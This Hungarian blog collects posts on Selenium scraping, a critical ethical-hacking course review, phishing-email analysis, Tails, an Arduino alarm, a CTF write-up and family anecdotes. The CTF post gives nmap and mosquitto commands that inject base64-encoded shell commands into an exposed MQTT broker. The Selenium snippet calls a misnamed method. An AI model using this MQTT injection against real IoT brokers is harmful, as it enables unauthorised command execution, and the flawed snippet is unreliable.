Több módszer is van a böngészők vezérlésére, én most a Firefox/Selenium szimbiózist fogom bemutatni. A szkript és a böngésző közé kell egy driver, ami megteremti a kapcsolatot a két egység között. Linux alatt például a Gecko driver szükséges. Python oldalról pedig a Selenium modul. Ha minden megvan, kezdődhet a móka.

from selenium import webdriver
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
import time

driver = webdriver.Firefox()

Ennek hatására elindul a böngésző. Fontos tudni, hogy az AJAX-nak és az iframe-eknek idő kell, hogy betöltődjenek, ezért célszerű várakozási időt beépíteni. A legegyszerűbb az implicit várakozási idő beállítása.

driver.implicitly_wait(5)
driver.get("http://xxxxxx.com/")

Ha betöltődött az oldal, ki kell választani az elemet, amit szeretnénk letölteni. Ehhez a find_element metódust használhatjuk. Elemeket számtalan módon azonosíthatunk (név, osztály, tag alapján), a By osztály használatával.

div = driver.get_element(By.TAG_NAME, "div")
div2 = driver.get_element(By.ID, "first")

Ha megvan az elem, akkor kinyerhetjük az általa tárolt adatot a text metódussal. Ha végeztünk a feldolgozással, zárjuk le a kapcsolatot.

driver.close()

A Selenium sokkal többre is képes, mint amit itt bemutattam. Emulálhatunk benne klikkelést, vagy egyéb felhasználói tevékenységet, hogy teljesen elhitessük az oldallal, hogy nem programmal kommunikál. Ez ellen CAPTCHA-val lehet védekezni.

Szólj hozzá!

Címkék: biztonság programozás

Etikus hekker lettem? Nem, mégsem

2025.02.11. 22:31 Travis.CG

Annak idején, ha az ember meg akart tanulni hekkelni, különböző warez oldalakat, underground fórumokat, és hasonlókat bújt (vagy feltette a nagy kérdést a prog.hu-n). Manapság pedig egész ipar épül rá. Ha van elég pénzed, megtanulhatod azt, ami régen tiltott, de ingyenes volt. Érdekes, hogyan változik a világ.

Sok plusz munkát bevállaltam, amitől szert tettem egy kis mellékesre. Nem tudtam, mit kezdjek a hirtelen kapott pénzzel, ezért úgy döntöttem tudásba fektetem. Ezek egy részét hasznosnak találtam, mint például a TryHackMe előfizetést, de egy másikkal nagyon megjártam. Ez pedig a EC-Council Ethical Hacker kurzus/vizsga.

Azért esett a választásom erre a kurzusra, mert agyon van hype-olva, én meg bedőltem neki. Úton-útfélen az jött az arcomba, hogy emberek mennyire örülnek, hogy megcsinálták, milyen hasznos volt. Igen, kicsit drága, de megéri. Én meg bezabáltam az egész maszlagot, mint kacsa a nokedlit.

Hol is kezdjem? Először is, nem kicsit drága, hanem keservesen drága. Még a legolcsóbb opció is. Ha az ember nem figyel, könnyen egy milla fölé ugrik az ár. Mivel én elfoglalt vagyok, olyan opciót kerestem, ahol a magam idejét tudom beosztani és a saját tempómban haladhatok az anyaggal. Ez természetesen a legolcsóbb lehetőség is egyben. Hozzád vágják a tananyagot, majd a végén vizsgázhatsz. Ha már valami pluszt is akarsz, akkor az ár emelkedik, mint a fapados repülőjáratokon. Van például egy elit előfizetés is, ahol négyszer próbálkozhatsz a vizsgával. És persze van olyan opció is dupla áron, ahol öt nap alatt egy ember az egész anyagot előadja.

Mivel én már öreg vagyok, hogy reggel 9-től délután ötig egy padban üljek, ez számomra nem volt opció. Már egyetemen sem tudtam koncentrálni délután három után. (A mostani tanítványaim sem). Szóval ezt nem akartam.

A jelentkezés után az első meglepetés, hogy nincsenek fix árak. Először emailt kell váltani egy hölggyel, aki ajánlatokat ad. Hogy-hogynem az elit előfizetés éppen akkor pont annyiba került, mint az alap készlet. De ehhez az első levelem feladása előtt három nappal kellett volna jelentkeznem, mert az volt a határidő. Mikor ezt szóvátettem, a hölgy gond nélkül visszadátumozta, mint az akadémiai szférában a szerződés hosszabbítást.

Utána annak rendje és módja szerint elkezdtek jönni a spam-ek az email címemre, hogy más méregdrága tanfolyamokat is végezzek el, sőt kombiáljam őket. Kösz, nem.

A tananyag

Az ember azt gondolná, hogy ennyi pénzért valami jó kis tananyagot kapunk. Hát nem. Először is van videó tananyag. Ezt egy ember mondja a kamerába, ha pedig olyan részhez ér, amiről nem akar beszélni, akkor elmondja, hogy ő csak a lényeget emeli ki, a többit nézzük meg a könyvben.

Egyébként a fickó számomra teljesen hiteltelen. A bemutatkozásban felsorolt egy rakás bizonyítványt, szigorúan három-négy betűs rövidítésekben, hogy ne lehessen tudni, miről is van szó. Arról is beszél, hogy 12 éves kora óta szétszedi a számítógépeket, és a tanítás a mindene. Ennek ellenére néha azért nem mutatott meg programokat, mert nem tudott elindítani, mert rosszul volt konfigurálva a rendszere. Ha ez egy tanteremben, élőben fordul elő, azt mondom peches. Nekem is voltak olyan pillanataim, amikor beégtem a hallgatóság előtt. De ez egy videó! Már egy harmadosztályú Tik-Tokker is tudja, hogyan vegye fel újra a balul sikerült részt. Úgyhogy három epizód után beszüntettem a videók nézését, mert csak az idő megy vele, és a könyv elolvasásást úgysem úszom meg.

A könyv első látásra rémisztő, mert vagy háromezer oldal. Szerencsére elég szellős, sok kép van benne, és aki egy egyetemi szigorlatot túlélt, az meg tud vele bírkózni. A felépítése viszonylag jó. Először egy rövid fél, vagy egy oldalas összefoglaló van, majd utána részletesen is kifejtik a témát. Néha ez abból áll, hogy megismétlik a rövid összefoglalót, csak töltelékmondatokkal felpuffasztva, néha még magyaráznak is. A magyarázat mennyisége változó, néha nagyon szájbarágós, néha nagyon felületes. Nekem az az érzésem, hogy ha valaki ebből akarja megtanulni a hekkelést, az nem fog menni. Inkább arra jó, ha valakinek van egy átfogó ismerete, akkor a hézagokat ezzel a tananyaggal ki tudja tölteni.

Márpedig előzetes ismeretek nagyon kellenek, mert a könyv tele van hibákkal. Én érzésre azt mondanám, 10 oldalanként találtam egy hibát, pedig nem vagyok szakértő. Egy részük nyilvánvaló elgépelés. Kihagyják a szóközt a parancs és a paraméter között, elfelejtik kitenni a kötőjelet. Van, hogy rosszul írják a parancsot. De olyan szinten, hogy a mellé berakott képernyőfotón más van!

Ezek elég zavaróak, de a tárgyi tévedéseket nehezebb megbocsátani. Például volt a könyvben egy Google kereső kifejezés, amivel állítólag ki lehet listázni a jelszavakat. Gondoltam magamban, ez talán a 2000-es évek elején még működött, de manapság már biztosan nem. Azért kipróbáltam, mert biztosra akartam menni. Jelszót egyet sem kaptam, de találatnak feljöttek a könyv illegális kópiái! Ebből is látszik, hogy ez a hülyeség csak ebben a könyvben létezik, a valóságban nem.

Mintha a könyv készítőinek az lenne a célja, hogy duzzasszák az ismeretanyagot, ezért csak hozzátesznek, el nem vesznek belőle. A tananyagot, ha aktualizáljuk, az nem azt jelenti, hogy benne hagyjuk a Windows XP-t, meg a régi szép időket, hanem eltávolítjuk az irreleváns részeket és újakkal helyettesítjük. A könyv úgy tárgyalja a Flash és ActiveX vezérlők adta veszélyt, mintha még léteznének ezek az entitások. Még olyat is leírtak, hogy a szervert úgy védhetjük meg, ha nem telepítünk rájuk DivX kodeket.

Természetesen belekerült a tananyagba az AI is, mert hogyan lehetne "naprakész" valami, ha nem teszünk bele AI-t. De teljesen feleslegesen van benne, semmi kapcsolata a kibervédelemmel. Csak benen van, mert az trendi, és ezzel is lehet emelni az oldalszámot.

Külön van benne fejezet weboldalak töréséről, és külön webszolgáltatások töréséről. De a két fejezet szinte teljesen megegyezik. Nem is csoda, mert két szorosan kapcsolódó téma. Ezt miért nem lehetett egybe gyúrni? Háromszáz oldalt spóroltak volna.

Minden fejezet vége egy hosszú lista van weboldalakról, programokról, amelyek az adott fejezet támadásait lehet végrehajtani, vagy kivédeni. Egyet kiemelnek, amelyről van esetleg egy képernyőfotó, de a legtöbbnek csak a neve szerepel, hogy legyen mit memorizálni. És igen, van belőlük kérdés.

Azért fél év alatt sikerült elolvasnom, és utána két hónapot szántam az ismétlésre, ahol már csak az összefoglalókat néztem át. Az ember azt gondolná, hogy akkor mindent tud, amit a vizsgán kérdezhetnek. Nem. A vizsgán lehetnek olyan kérdések, amelyek nincsenek benne a könyvben! Bumm. Gondolom, ez amolyan "előzzük meg a pereskedést" című kitétel, de akkor is, nem növeli a bizalmat.

Ami viszont nagyon tetszett, és amit tényleg jól megcsináltak, az a labor, ahol ki lehet próbálni a különböző technikákat. Fejezettől függően 2-3 virtuális gép fut párhuzamosan és mutatnak programot mind Windows-ra, mind Linuxra. Néha olyan is volt, hogy Linuxról kellett támadni, és Windows-on nézni az eredményt. Ezt a részét nagyon hasznosnak éreztem. Azért itt is akadtak gondok, mert egyes weboldalak már nem úgy működtek, ahogy a gyakorlaton használni kellett volna. De ez nem meglepő, a web gyorsan változik.

A vizsga

A vizsga tesztkérdésekből áll. Nem tudom, mostanában hogyan megy a nyelvvizsga, de középiskolás koromban volt a "Rigó utcai" vizsga, ahol szintén volt teszt. Olyan pletykák is terjedtek az én időmben, hogy még az angol anyanyelvűek sem tudják 100%-ra megcsinálni, mert amit ott kérdeznek, annak kevés köze van a beszélt nyelvhez. Nos, pont ezt éreztem ennél a tesztnél is. Attól senki nem lesz hekker, hogy kitölt egy tesztet és fejből tudja az nmap Maimon szkennelés kapcsolóját.

Hány százaléktól fogadják el a tesztet? Ez is vicces, mert 60-80% van megadva, a "vizsga nehézségétől függően". Mi van? Ha én egy ilyen követelményrendszert támasztanék a hallgatóimmal szembe, akkor ők - teljesen jogosan - bepanaszolnának. Ki dönti el, hogy nehéz, vagy könnyű a vizsga?

Természetesen aki eléggé elbizonytalanodik magában, annak is van segítség. Plusz pénzért vizsga felkészítést is vállalnak, ahol valószínűleg újra elmondják az egész anyagot, és akkor már nagyon fogja tudni az egyszeri ember, mit kell válaszolni.

A vizsgára egyébként úgy kell jelentkezni, hogy kapunk egy kupon kódot. Kupont úgy kapunk, ha értékeljük a kurzust oktató személyt. Akkor is értékelni kell ezt a személyt, ha mi nem is vettünk részt kurzuson. Én is értékeltem egy kitalált embert, jól le is pontoztam. A kapott kuponnal online lehet vizsgázni, ahol egy ember a vizsga teljes ideje alatt a webkamerán kukkol, hogy nem csalok-e. Lehet teremben is vizsgázni. Magyarországon több oktatási központ is van, ahol elvégezhetjük a tesztet. Ehhez viszont nem jó a korábban kapott kupon. Ezért upgrade-elni kell a kupont. Igen, plusz pénzért. Ha később downgrade-elni akarom a kupont, mert meggondoltam maga, azt is meg lehet tenni, és az ingyenes. Vissza nem térítenek semmit.

Féltem, hogy esetleg nem lesz elég stabil az otthoni net, meg pont akkor jön a villanyóra leolvasó, úgyhogy inkább a termes vizsgázást választottam. Ehhez el kell küldeni emailen a kupont, hogy emailen visszaküldjenek egy másik kupont. Természetesen csak azután, hogy a webshopban megvettem az upgrade opciót. A kuponnal együtt küldtek egy 17 oldalas PDF-t is, hogyan tudom használni azt. Kínai webshopok nem tarolnák le a világot, ha ilyen nyakatekert módon lehetne csak vásárolni náluk.

Utána regisztrálhattam Pearson Vue-ra, ahol a PDF-t követve sikerült elakadnom. Ugyanis a vizsgára való jelentkezés után kérte a kupon kódot. Megadtam. Aztán kérte a promóciós kódot. A PDF szerint itt is kupon kódot kell megadni, de azt nem fogadta el. Végül rájöttem, hogy amit az email "Eligibility Code"-nak hívnak, a PDF-ben voucher kódnak jelölnek, azt kell megadni a promotion szövegmezőben. Egyértelmű, nem?

A termes vizsgánál ki kell tölteni egy csomó papírt, hogy nem viszek be telefont, órát, vizet, kaját, 1 cm-nél szélesebb hajtűt és lőfegyvert. Nem vicc, tényleg nem lehet vizet és lőfegyvert bevinni. Szerencsére a robbanóanyagra nincs korlátozás.

Utána egy gép elé ültettek és megkezdődött a négy órás vizsga. Habár a szabályok szerint nem hagyhattam volna el a termet, azért a gyakorlatban megengedték, hogy a mosdót meglátogassam, és vizet is vihettem be.

A legtöbb kérdés könnyű volt, de azért akadtak kemény diók is. Nekem például nehézséget okozott megjegyezni absztrakt folyamatok lépéseit, meg olyan eszközök nevét, amit soha nem használtam, azokban téveszthettem a legtöbbet.

Az összes kérdés megválaszolása után meg kiírta az ítéletet: Pass. Hazudnék, ha azt mondtanám, hogy nem örültem neki. A nap hátralévő részében csak vigyorogtam.

A vizsga után

De most, hogy megvan a vizsga, már hátra lehet dőlni nem? Nem. A papír csak három évre érvényes. Utána folyamatosan bizonyítani kell, hogy "napra kész" vagy. Sőt, 2024 novemberétől még éves díjat is fizetned kell, hogy megtarthasd a minősítést. Bizonyára azért találták ki, mert már senki nem akar jelentkezni erre a hülyeségre, de a pénz meg kellene.

Ha a nyelvvizsgás hasonlatnál maradunk, akkor ahogy a teszt sem bizonyítja, hogy beszéljük a nyelvet, úgy ez a vizsga sem jelenti azt, hogy belőlem hekker lett. Nem érzem magam annak, még akkor sem, ha fel tudom sorolni a különböző támadásfajtákat, amiket a könyv tartalmazott. Mert tudom, mi a neve, de nem tudom végrehajtani, mert arról nem mond semmit a könyv! Mintha lenne egy leírás az ételek csoportosításáról, kalóriatartalomról, csak éppen a receptek hiányoznának belőle. Szakács lesz ezek alapján bárki is?

Összességében én úgy látom, hogy nem éri meg. Rettenetesen drága, igazi ismeretet nem ad, és lehúzásra megy az egész. A TryHackMe sokkal jobb, mert mindenben az ellenkezője.

Gyakran ismételt kérdések

- Megéri elvégezni?
- Nem.

- Egy cuki kutyus fejéhez pisztolyt nyomnak. Azt mondják meghúzzák a ravaszt, ha nem jelentkezem a kurzusra.
- Vesszen a kutya.

- Egy nagyon fontos rokonom fejéhez nyomnak pisztolyt, úgy követelik, hogy jelentkezzem.
- Mond a rokonodnak, hogy nagyon szereted, és rendezz neki szép temetést. Nos, ebben az esetben megfontolandó a kurzus elvégzése.

Szólj hozzá!

Címkék: biztonság életmód

Középsúlyú phising

2025.02.02. 11:25 Travis.CG

Legutóbb azon voltam kiakadva, hogy már az adathalász levelek sem a régiek. Csupa primitív, hátulgombolós módszerrel van tele az egyetemi levelezésem. Nem tudom, van-e összefüggés a poszttal (remélem nincs), de most kaptam pár valamire való phising emailt. Nézzük is meg, mire képesek.

Serverless módszer

Első emailem már megjelenésében is más.

phising1.png

Először is, csak egy címzett van, én. Más emailek általában olyan címekre mennek, amit minden dolgozó megkap, tehát az informatikusok is, korábban megkezdhetik az ellenlépéseket. Ebben nem. A levélben van CSS, formázás. Igaz, árulkodó, hogy hiányzik a címzett neve, a megszólítás is az email cím, tehát nem személyre szabott. Természetesen egy linket is tartalmaz, és a dolgok itt kezdenek érdekesek lenni.

A link ugyanis nem egy szerverre mutat , hanem egy Google Firebase alkalmazásra. Nincs dedikált szerver, nincs IP cím. Az alkalmazás egy kódolt JavaScriptet ad vissza.

js1.png

Szerencsére nem bonyolult a kódolás, ezért még én is boldogultam vele a KiberSzakács segítségével. Az eredmény egy nagyon szofisztikált kód. Szépen kommentelt, profi kódnak tűnik. Az eredményeket Telegram-ra küldi.

js2.png

Annyira szofisztikált a kód, hogy megkockáztatom, nem a támadó írta, hanem valaki más. A támadó csupán a saját igényeire szabta. A kód jellegzetességeire keresve van is találat itt. A telegram token más, ami azt valószínűsíti, hogy mások is használják a kódbázist a saját céljaikra. A Firebase alapú phising pedig másoknak is eszébe jutott.

Önnek új hangüzenete van

Második játékosunk hangüzenet értesítésnek álcázva küldte el az adathalász levelet. Már a szolgáltatás is elég nevetségesnek tűnik így 2025-ben. Hangüzenetről email-t küldeni? Amikor minden app-ba van ágyazva és folyamatosan pittyeg, hogy ne maradjunk le róla? Mindegy. Életemben nem hallottam a szólgáltatásról, és nem jött meg a kedvem a használatához.

A link (hxxps[://]www[.]travelzoo[.]com/newsflash/gtt/106533631-2877830_619/?ru=hxxps[://]dswwindsor[.]uk/3AfBLNZQT7?S=user@universitymail.hu) egy oldalra mutat, ahol valószínűleg RFI (remote file inclusion) sérülékenységet használtak ki. A lényege, hogy ha a weboldal úgy épül fel, hogy elemeket vesz át más fájlokból, és be tudunk szúrni más szerverekről tartalmakat, akkor a weboldal kinézetét, működését meg tudjuk változtatni.

Kicsit ront az összképen, hogy a link tartalmazza az eredeti URL-t is, tehát nagyon nem sikerült elrejteni a nyomokat, de talán az egyetem IP alapú szűrésén ezért tudott átmenni.

Összességében elmondható, hogy azért akadnak komolyabb játékosok is.

Szólj hozzá!

Címkék: biztonság

Tails: paranoidoknak

2025.01.26. 19:48 Travis.CG

Psszt! Nem követtek? Át kell, hogy kutassalak, nem vagy-e bedrótozva. Egy telefon? Össze kell törnöm ezzel a kővel, mert lenyomozhatnak vele! Oké, most már tiszta vagy. Illetve majdnem. Ezt tedd a fejedre. Igen, aluminium fóliából van, de így rejtve maradnak a gondolataink. Azt mondod túlzott biztonság? Ilyen nem létezik. Biztos megfeledkeztem még tucatnyi dologról. Például ott az a mókus, és minket néz. Bakker, még mindig bámul. Rágcsálja azt a magot, vagy mifenét, és minket néz! Oké, elfutott. Tudni akarod, miért találkozunk az erdő közepén? Ezt hoztam.

Próbálok minél messzebb kerülni a Gyíkemberektől, de nem megy. Néha kénytelen vagyok számítógépet és internetet használni. De megtaláltam a tökéletes megoldást. Mindjárt elmondom, mi az, csak már megint néz a mókus.

Szóval a megoldás, hogy nem használok számítógépet. Mármint nem használok saját számítógépet. A Tails Linux-al minden számítógép az én számítógépem. Legalábbis ha be tudom bootolni. Ez az operációs rendszer ugyanis egy USB tárolón van. Amikor számítógépet kell használnom, keresek egy gépet, bedugom a pendrive-ot, és elintézem, amit el kell, majd kikapcsolom. A nyomok nem hozzám, hanem a géphez vezetnek. Nem nagyszerű?

Be lehet állítani, hogy semmit ne tároljon az USB meghajtón. Hiába használom a gépeket, nem marad nyoma a pendrive-on. Ennek persze megvan a maga hátránya. Ha egy wifi hálózatot többször is használnék (amúgy ilyet nem csinálok), akkor újból be kellene írni a jelszót. Ha beállítjuk, hogy legyen állandó partíció, akkor tárolhatjuk rajta az információkat. Telepítésnél pontosan beállíthatjuk, mely programok menthetnek erre a partícióra és melyek nem. Mi van, ha elhagyom a pendrive-ot? Nos, ez a partíció titkosítva van alapból. De én fejben tárolok mindent. Az aluminium fóli pedig véd attól, hogy onnan bármit kiolvassanak. Igen, nagyon gyorsan mosok hajat, köszönöm, hogy megkérdezted.

Nem csak a partíció titkosított. Tails-en az internet forgalom Tor-on keresztül megy. Az internet szolgáltató nem fogja látni, mit nézel. Azt persze látni fogja, hogy Tor-t használok, de erre is van megoldás! Lehet konfigurálni Tor Bridge-et, amivel nem közvetlenül kapcsolódunk a Tor hálózathoz. Nekem természetesen ilyenem is van. Kettő is. Na jó, három, csak nem akartam a mókusok előtt mondani. Soha nem lehet tudni, kiknek adják tovább.

Akik mindig mozgásban vannak, azoknak nagy segítség egy ilyen rendszer. Mi a véleményed? Hogyan? Te egy Gyíkember vagy? És a mókusok? Ja, azok csak a figyelemelterelés volt!

Szólj hozzá!

Címkék: rendszergazda

Házi riasztó készítés (2. rész)

2025.01.12. 09:31 Travis.CG

Elkészült a kód első változata. Röviden menjünk végig rajta!

void setup() {
  pinMode(ECHO_PIN, INPUT);
  pinMode(TRIG_PIN, OUTPUT);
  pinMode(BUZZ_PIN, OUTPUT);
  motor.attach(SERVO_PIN);
  digitalWrite(TRIG_PIN, LOW);
  digitalWrite(BUZZ_PIN, LOW);
  Serial.begin(9600);
  motor.write(90); // set to middle position
  prevangleindex = 1;
  prefetch(); // waiting ~5 sec to leave the area
  initialize_distances(); // collecting initial distances
}

Inicializálom a pineket, hogy melyiken fogadom, illetve küldöm az adatokat. A motort középre állítom. A prefetch() csak egy időhúzó lépés, hogy az eszköz telepítése után legyen idő elhagyni a védendő területet. Ez idő alatt másodpercenként annyit csipog, amennyi másodperc eltelt a bekapcsolás után. Öt után elhalgat, a rendszer megkezdi a működését.

Az initialize_distances függyvényben ezután jobbra fordul a riasztó, 20-szor távolságot mér, majd kiszámolja a t-próba konfidencia intervallumait. A műveletet megismétli a középső és a bal oldalra való fordulás után. Ezt a függvényt collect_baseline-nak neveztem el, háromszor hívom meg az initialize_distances-en belül.

void collect_baseline(int orientation){
  float avg;
  float sd;
  collect_dists();
  avg = calc_avg();
  sd = calc_sd(avg);
  base[orientation].low = avg - T * (sd / sqrt(20.0));
  base[orientation].high = avg + T * (sd / sqrt(20.0));
}

A T a kritikus érték 19-es szabadsági fokra, mert 20 mintánk van, és 99.5% konfidencia intervallumra. (Először 95%-ra állítottam be, de az nem volt jó, később részletezem, miért.) Az érték a statisztikai könyvekben és a Wikipédián is megtalálható.

A kód loop része a következő:

void loop() {
  actualangleindex = random(3);
  smooth_step(angles[prevangleindex], angles[actualangleindex]);
  if(is_extreme_dist(actualangleindex) == true){
    tone(BUZZ_PIN, 300);
  } else {
    noTone(BUZZ_PIN);
  }
  prevangleindex = actualangleindex;
}

Választunk véletlenszerűen egy irányt, a motort szép lassan odaforgatjuk, végzünk újabb 20 mérést, majd egy t-próbával megnézzük, hogy eltér-e az átlag attól, amit a collect_baseline esetén rögzítettünk. (Beleesik-e a konfidencia intervallumba) Ha eltér, veszettül riasztunk. Ha nem tér el, kikapcsoljuk a hangot.

Nos, a próbák során elég gyatrán teljesít a riasztó. Bármit is csináltam, kb 2-3 perc működési idő után elkezdett folyamatosan sípolni. A hiba oka nagyon meglepett. A riasztó a motor folyamatos mozgásának hatására szép lassan vándorolni kezdett a sima felületű asztalon, ezért egy idő után úgy érzékelte, hogy minden megváltozott körülötte.

Ekkor kivettem a szervó mozgatását a kódból. A fals riasztások mégsem szűntek meg. Elkezdtem kiíratni milyen értékeket mér a szerkezet, illetve milyen átlagokat rögzített. A konfidencia intervallumok közelében jöttek a találatok. Igaz is, a 95% azt jelenti, hogy a mért értékek legfeljebb 95%-a ebbe a tartományba esik. De nem minden. Ekkor tértem át a 99,5%-ra. A fals találatok száma valóban lecsökkent, de nem szűnt meg!

A felület, amire a riasztót irányítottam, merőleges volt a szenzorra, és kb. 1,4 méterre volt. Valami ismeretlen okból viszont néha a húsz mérés átlaga 90 cm lett. Tehát hiába állt mozdulatlanuk a szerkezet, akkor is beriasztott. Több helyen is írták, hogy a levegő hőmérséklete befolyásolja a szenzor mérési pontosságát, illetve felléphet interferencia is. Jelen pillanatban egyikre sincs ötletem, hogyan küszöbölhetném ki.

Ha ez még nem lenne elég néha ki tudtam cselezni a készüléket. Az irányváltások között, amikor forgatja a motort, akkor nem rögzíti a távolságokat. Tehát ha ebben a pillanatban gyorsan átugrottam a riasztó előtt, akkor nem adott hangjelzést.

A fejlesztés következő lépése, hogy kipróbálom több mérési pont alkalmazását, illetve beiktatok még egy kis szünetet a mérések között, hátha csökken az interferencia. Valamint kellene némi csúszásgátló a riasztó talpa alá. Hihetetlen, hogy egy egyszerű projekt során mennyi probléma előjön!

Szólj hozzá!

Címkék: programozás barkácsolás

Bugged CTF

2025.01.05. 18:42 Travis.CG

Ez egy elég nehezen induló CTF volt. A leírás szerint John IoT eszközöket tesztel, amikor valami szokatlanra lesz figyelmes a hálózati kommunikációban. A nagy meglepetés akkor jött, amikor a szokásos nmap keresésekkel egyetlen nyitott portot sem találtam. Elég reménytelennek tűnt, hogy meg tudom oldani a feladatot, ha semmihez nem tudok kapcsolódni.

Akkor arra gondoltam, talán fordítva kellene megközelíteni a dolgot. Ahelyett, hogy agyba-főbe szkennelnék, ismeretlen szolgáltatások után kutatva, talán pont azokat a portokat kellene csak nézni, ahol IoT eszközök szoktak kommunikálni.

nmap -sV -Pn -T4 -p 1883,8883,5683,5684 $IP

Rögtön meg is találtam az 1883-as nyitott portot, ami a Mosquitto bróker dedikált portja. Erről azt kell tudni, hogy összegyűjti az összes eszköz üzeneteit. Minden eszköz egy úgynevezett topic-ot kap, amin keresztül az eszköz elküldi saját állapotát, illetve utasításokat küldhetünk. Két paranccsot kell ismerni: mosquitto_sub, illetve a mosquitto_pub. Először az összes topic üzenetét megnézzük:

mosquitto_sub -h $IP -t "#" -v

Ilyen üzeneteket fogunk kapni:

storage/thermostat {"id":16399166308056728698,"temperature":23.84387}
frontdeck/camera {"id":10197626378469785711,"yaxis":-52.378067,"xaxis":169.65857,"zoom":4.9340644,"movement":false}
kitchen/toaster {"id":11240011071394374848,"in_use":true,"temperature":145.64915,"toast_time":182}
patio/lights {"id":10737355647360197010,"color":"WHITE","status":"OFF"}
livingroom/speaker {"id":17707635654923183114,"gain":55}
storage/thermostat {"id":9129473732134212486,"temperature":23.747482}

Az első oszlop a topic, a második az üzenet maga. Mint látható, a termosztát, a kenyérpirító és a fények rendben működnek. Aztán kapunk valami ilyesmit:

yR3gPp0r8Y/AGlaMxmHJe/qV66JF5qmH/config eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsInJlZ2lzdGVyZWRfY29tbWFuZHMiOlsiSEVMUCIsIkNNRCIsIlNZUyJdLCJwdWJfdG9waWMiOiJVNHZ5cU5sUXRmLzB2b3ptYVp5TFQvMTVIOVRGNkNIZy9wdWIiLCJzdWJfdG9waWMiOiJYRDJyZlI5QmV6L0dxTXBSU0VvYmgvVHZMUWVoTWcwRS9zdWIifQ==

Ez már érdekes, kezdünk közelebb jutni a megoldáshoz. Base64 kódolású. Dekódolás után ezt kapjuk:

{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","registered_commands":["HELP","CMD","SYS"],"pub_topic":"U4vyqNlQtf/0vozmaZyLT/15H9TF6CHg/pub","sub_topic":"XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub"}

Két újabb topic. A név alapján az egyiken üzeneteket küldhetünk, a másikon üzeneteket fogadhatunk. Legalábbis ezt feltételeztem. Már csak azt kell kitalálni, hogy milyen formában, és hova kell elküldeni az üzenetete. Itt próba-szerencse alapon küldtem ki az üzeneteket és néztem, mit válaszol a rendszer. A sub_topic-ra kell küldeni és a választ a pub_topic-ba kapjuk. Pont ellentétesen, mint ahogy feltételeztem. Ezért csak azt a topic-ot figyeltem ezután, amelyikre a válaszok érkeztek:

mosquitto_sub -h $IP -t "U4vyqNlQtf/0vozmaZyLT/15H9TF6CHg/pub"

A leírás szerint mindent base64-el kell kódolni, ezért elbohóckodtam pár percet azzal, hogy pipe-oljam a mosquitto-t a base64-el, de a bufferelés miatt nem jártam sikerrel. Próbáltam az unbuffer-t is, de valami miatt azzal sem ment. Kénytelen voltam a cyberchef segítségét kérni. Kicsit kényelmetlen volt. Valószínűleg egy Python szkripttel meggyorsítható a folyamat, de sejtettem, hogy már közel a vége.

Először egy HELP kérést küldtem.

mosquitto_pub -h $IP -t XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub -m 'eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsICJjbWQiOiJIRUxQIiwgImFyZyI6IiJ9'

A válasz részletesen leírta a használandó szintaktikát. Utána már bármilyen shell parancsot tudunk küldeni. Kiírathatjuk a flag.txt tartalmát:

mosquitto_pub -h $IP -t XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub -m 'eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsICJjbWQiOiJDTUQiLCAiYXJnIjoiY2F0IGZsYWcudHh0In0='

Szólj hozzá!

Címkék: biztonság

Random karácsonyi történetek

2024.12.28. 11:43 Travis.CG

Anya, aki talált egy augmented reality appot:
- Nézd, lefotóztam neked a Mikulást! Ott áll a szobádban.
Nyolc éves gyerek fél szemmel a képernyőre sandít:
- Anya, ez Photoshop!
- Milyen shop? Nem shop-oltam! Nem lehet ilyen képet venni.

Nagymama:
- Nézd, kaptál egy madaras ágyneműt!
- Mama, ez a SpongyaBob!
- Akkor nem madár, hanem egy sajt?

Nagymama telefonhívást kap:
- Fogtok kimenni a teraszra?
- Nem, miért?
- Oda fogom rejteni az ajándékokat.
Nagypapa közbeszól:
- Mama, a telefonod ki van hangosítva!

Anya és Apa a webshopról rendelt ajándékokat rendszerezi:
- Ezt rendeltük Anettnak?
- Nem rémlik.
- Nem is úgy néz ki, mint a képen.
- Nagyon más.
- Szerinted örülni fog, ha ezt kapja?
- Hát persze.

- Az ikerk közül ki kapja a gyöngyfűzőt, és ki a karkötő készítőt?
- Dobj fel egy pénzérmét.

Gyerekeket beterelik egy szobába egy felnőttel, hogy Jézuskának legyen ideje a fa alá pakolni:
Egy perc múlva:
Első gyerek: - Pisilnem kell.
- Várj egy picit.
Második gyerek: - Szomjas vagyok!
- Most nem lehet kimenni.
Harmadik gyerek: - Melegem van!
- Mindjárt kimehettek.
- De nagyon kell...szomjan halok...meggyulladok!
Megszólal az ajándékozást jelző csengő. A gyerekek kirohannak és a dobozokra vetik magukat.
- Nem akartok előbb egy kicsit inni, pisilni, hűsölni?

Szólj hozzá!

Címkék: életmód

Házi riasztó készítés (1. rész)

2024.12.22. 22:19 Travis.CG

Gondoltam építek egy ultrahang szenzoros riasztót. A cél az volt, hogy minél nehezebben lehessen kicselezni, bárhova telepíthető legyen, könnyen lehessen szállítani, és a mérete kicsi legyen.

Így esett a választás az egyik műanyag ételdobozra, ami a sok mikrózás miatt már étel tárolására nem alkalmas. Kivágtam két lyukat rajta és beleragasztottam az ultrahang szenzort.

alap.jpg

Rékötöttem egy AVRDuino-t, és elkezdtem tesztelni. A kód első verziója a neten is fellelhető tutorialokat utánozta. Arra voltam kíváncsi, mennyire hatékony a szenzor, ezért csak a távolság adatokat írattam ki a soros portra.

A tapasztalatok a következők voltak: 4m méter után semmit nem érzékel a szerkezet. Puha anyagoknál megnő a mért jel szórása. Ha a tárgy felszíne nem merőleges szenzorra, gyengébb jelet kapok, illetve a szórás itt is nagyobb lesz.

Az eredményeket összegezve arra jutottam, hogy a cuccnak a következő módon kell működnie: bekapcsolom, a szerkezet vár, hogy elhagyjam a védendő területet. Feltérképezi a teret, megjegyzi az alap távolságot. Aktiválja magát, és ha a mért távolság eltér attól, amit korábban érzékelt, akkor jelez.

